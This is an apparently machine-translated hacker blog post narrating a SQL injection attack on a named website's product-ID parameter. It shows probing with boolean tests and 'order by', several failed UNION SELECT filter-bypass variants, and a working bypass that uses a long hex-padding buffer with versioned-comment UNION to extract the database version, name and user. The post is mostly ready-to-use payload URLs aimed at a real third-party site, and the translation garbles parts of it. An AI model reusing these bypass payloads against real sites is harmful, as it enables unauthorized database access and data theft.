Abnormal method breakthrough filter UNION + SELECT Continue Injection

In the past few days, we met a bt injection site:
// * Ps this point is currently popular with injection tools *//
A http://www.bkjia.com/index. php? Content = more_product & id = 17
 
A http://www.bkjia.com/index. php? Content = more_product & id = 17 and 1 = 1 normal
A http://www.bkjia.com/index. php? Content = more_product & id = 17 and 1 = 2 error
 
A http://www.bkjia.com/index. php? Content = more_product & id = 17 order by 6 normal
A http://www.bkjia.com/index. php? Content = more_product & id = 17 order by 7 Error

Continue the conventional injection:
A http://www.bkjia.com/index. php? Content = more_product & id =-17 + UNION + SELECT + 1, 2,
3, 4, 5, 6 --
 
 
 
 
 
Error nnd: Filter UNION + SELECT. Let's add some special characters to see if we can bypass it.
A http://www.bkjia.com/index. php? Content = more_product & id =-17 + /**//**//*! UNiOn *//**/
/**//*! SElEcT * // **/1, 2, 3, 4, 5, 6 --
 

The tragedy still persists---, so I tried to bypass the method I knew to continue shooting...
A http://www.bkjia.com/index. php? Content = more_product & id =-17 +/* U */* n */* I */* o */* n
* // * T */+/* s */* e */* l */* e */* c */* t */+ 1, 2, 3, 4, 5, 6 --

 
A http://www.bkjia.com/index. php? Content = more_product & id =-17 + concat (u, n, I, o, n) + conca
T (s, e, l, e, c, t) + all + 1, 2, 4, 5, 6 --
 
The tragedy still persists, nnd. I found a few friends and couldn't go through the evil filtering. In China
The above methods can be done in general, foreigners are bt. Finally, I had to go abroad.
The Forum asked for help from foreigners. Php injection abroad has a long history. The unique method + method has a high probability of being cool-handled.
So after asking for help, a hacker finally replied and easily wound up.
A http://www.bkjia.com/index. php? Content = more_product & id =-17 and (select 1) = (select
0 xaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaa
Aaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaa
Aaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaa
Aaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaa
Aaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaa
Aaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaa
Aaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaa
Aaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaa
Aaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaa
Aaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaa
Aaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaa
Aaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaa
Aaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaa
Aaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaa
Aaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaa
AAAAAAAAAAAAAAAA) + /*! Union */+ select + 1, 2, 4, 5, 6 -- +-
 
By the way, the foreigner is sure to continue shooting.
A http://www.bkjia.com/index. php? Content = more_product & id =-17 and (select 1) = (select
0 xaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaa
Aaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaa
Aaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaa
Aaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaa
Aaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaa
Aaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaa
Aaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaa
Aaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaa
Aaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaa
Aaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaa
Aaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaa
Aaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaa
Aaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaa
Aaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaa
Aaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaa
AAAAAAAAAAAAAAAA) + /*! Union */+ select + 1, concat_ws (0x7c, version (), database (), u
Ser (), 3, 4, 5, 6 -- +-
The system version, current database user, and user name are successfully obtained.